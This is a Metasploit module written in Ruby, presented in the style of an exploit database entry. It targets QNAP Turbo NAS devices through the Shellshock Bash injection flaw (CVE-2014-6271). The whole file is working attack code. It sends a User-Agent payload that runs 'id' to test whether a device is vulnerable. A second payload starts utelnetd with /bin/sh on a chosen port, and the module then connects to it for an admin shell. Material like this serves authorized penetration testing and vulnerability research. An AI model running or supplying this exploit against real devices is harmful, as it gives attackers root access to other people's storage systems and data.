# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection # Date: 7 February 2015 # Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] # Employer homepage: http://www.securegroup.it # Vendor homepage: http://www.qnap.com # Version: All Turbo NAS models except TS-100, TS-101, TS-200 # Tested on: TS-1279U-RP # CVE : 2014-6271 # Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61 ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/d3vpp/metasploit-modules ## require 'msf/core' require 'net/telnet' class Metasploit3 < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, 'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection', 'Description' => %q{ This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection. Affected products: All Turbo NAS models except TS-100, TS-101, TS-200 }, 'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-6271'], #aka ShellShock ['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61'] ], 'Platform' => ['unix'] )) register_options([ OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']), OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993']) ], self.class) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; echo; /usr/bin/id" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE vprint_error("Connection failed") return Exploit::CheckCode::Unknown end if !res return Exploit::CheckCode::Unknown elsif res.code== 302 and res.body.include? 'uid' return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit_telnet() telnetport = datastore['LTELNET'] print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") print_status("#{rhost}:#{rport} - Sending exploit") begin sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock print_good("#{rhost}:#{rport} - Backdoor service spawned") add_socket(sock) else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned") end print_status "Starting a Telnet session #{rhost}:#{telnetport}" merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, 'USERNAME' => nil, 'PASSWORD' => nil } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled") end return end def run begin telnetport = datastore['LTELNET'] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &" }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable => e fail_with(Failure::Unreachable, e) ensure disconnect end exploit_telnet() end end